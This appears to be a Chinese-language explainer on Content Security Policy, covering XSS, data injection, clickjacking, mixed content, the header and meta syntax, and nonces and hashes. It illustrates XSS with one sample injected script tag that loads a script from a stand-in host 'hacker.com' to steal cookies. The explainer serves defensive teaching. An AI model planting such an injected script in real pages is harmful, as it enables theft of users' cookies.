CSP (Content Security Policy) 是什么?它能解决什么问题?
CSP (Content Security Policy,内容安全策略) 是一种网页安全标准,主要通过 HTTP 响应头(Header)来实施。
简单来说,CSP 就是浏览器的“白名单”机制。它允许网站管理员告诉浏览器:“在这个页面上,只允许加载和执行我指定的这些资源(脚本、图片、样式表等),其他的都给我拦截掉。”
CSP 能解决什么问题?
CSP 最主要、最核心的目标是缓解和报告跨站脚本攻击 (XSS),同时也能防御其他类型的攻击。
1. 跨站脚本攻击 (XSS - Cross-Site Scripting)
这是 CSP 诞生的主要原因。
- 问题场景: 攻击者在你的网页评论区或搜索框中注入了一段恶意的 JavaScript 代码(例如
<script>src="http://hacker.com/steal.js"</script>)。如果没有 CSP,浏览器会默认信任服务器返回的内容,加载并执行这段代码,导致用户 Cookie 被盗或页面被篡改。 - CSP 的解决方案:
- 限制来源: 你可以通过 CSP 设置
script-src 'self' https://trusted.com。这样,浏览器只会加载你自己域名下和trusted.com下的脚本。攻击者注入的hacker.com脚本会被浏览器直接拦截。 - 禁止内联脚本 (Inline Script): CSP 默认禁止
<script>...</script>标签内的直接代码和onclick="..."事件处理。这直接切断了大部分 XSS 攻击的途径。 - 禁止
eval(): CSP 默认禁止使用eval()等将字符串当作代码执行的函数,防止攻击者绕过检测。
- 限制来源: 你可以通过 CSP 设置
2. 数据注入攻击 (Data Injection)
- 问题场景: 攻击者诱导用户的浏览器向恶意服务器发送数据(例如通过隐藏的图片请求)。
- CSP 的解决方案: 使用
connect-src指令,限制XHR、Fetch、WebSocket等只能连接到可信的服务器。
3. 点击劫持 (Clickjacking)
- 问题场景: 攻击者将你的网站通过
<iframe>嵌入到一个透明层下面,诱导用户点击。 - CSP 的解决方案: 使用
frame-ancestors指令。它可以指定哪些网站有权通过 iframe 嵌入你的页面(类似于旧的X-Frame-Options,但功能更强)。
4. 强制 HTTPS (Packet Sniffing / Mixed Content)
- 问题场景: 网站虽然上了 HTTPS,但代码里还残留着 HTTP 的图片或脚本资源,导致连接不安全。
- CSP 的解决方案: 使用
upgrade-insecure-requests指令。它告诉浏览器:“把这个页面里所有的 HTTP 请求自动升级成 HTTPS 请求,如果升级失败就不加载。”
CSP 是如何工作的?
通常通过服务器返回的 HTTP 响应头 来设置:
plaintext
Content-Security-Policy: <策略指令>; <策略指令>; ...
也可以通过 HTML 的 <meta> 标签设置(但不推荐,因为无法使用某些高级功能如 report-uri):
html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
常见的 CSP 指令示例
一个典型的 CSP 策略可能长这样:
plaintext
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com; img-src *; object-src 'none';
解析:
default-src 'self': 默认规则。如果没有专门指定其他资源类型,只允许加载同源(同一个域名、协议、端口)的资源。script-src 'self' https://apis.google.com: 针对 JavaScript 的规则。只允许加载同源的 JS,以及来自apis.google.com的 JS。其他任何域名的 JS 都会被拦截。img-src *: 针对图片的规则。允许从任何地方加载图片。object-src 'none': 禁止加载任何插件(如 Flash、Java Applet 等)。
进阶概念:Nonce 和 Hash
由于 CSP 默认禁止内联脚本(Inline Script),如果你确实需要写在 HTML 里的 <script>,有两种安全的方法:
Nonce (随机数):
服务器生成一个随机字符串(nonce),放在 Header 和 script 标签里。- Header:
Content-Security-Policy: script-src 'nonce-Ed55GFs' - HTML:
<script nonce="Ed55GFs">alert('Allowed')</script> - 只有 nonce 匹配,脚本才会执行。
- Header:
Hash (哈希值):
将脚本内容的哈希值放入 CSP Header。- Header:
Content-Security-Policy: script-src 'sha256-K7g...' - 只有内容哈希匹配,脚本才会执行。
- Header:
总结
- CSP 是什么: 它是防御 XSS 的“防盗门”,通过白名单机制控制浏览器可以加载哪些资源。
- 核心作用: 阻止恶意脚本执行、阻止非法数据外传。
- 最佳实践: CSP 应该作为纵深防御(Defense in Depth)的一环,而不是唯一的防线。你依然需要在代码层面做好输入过滤和输出转义,CSP 则是最后的保险锁。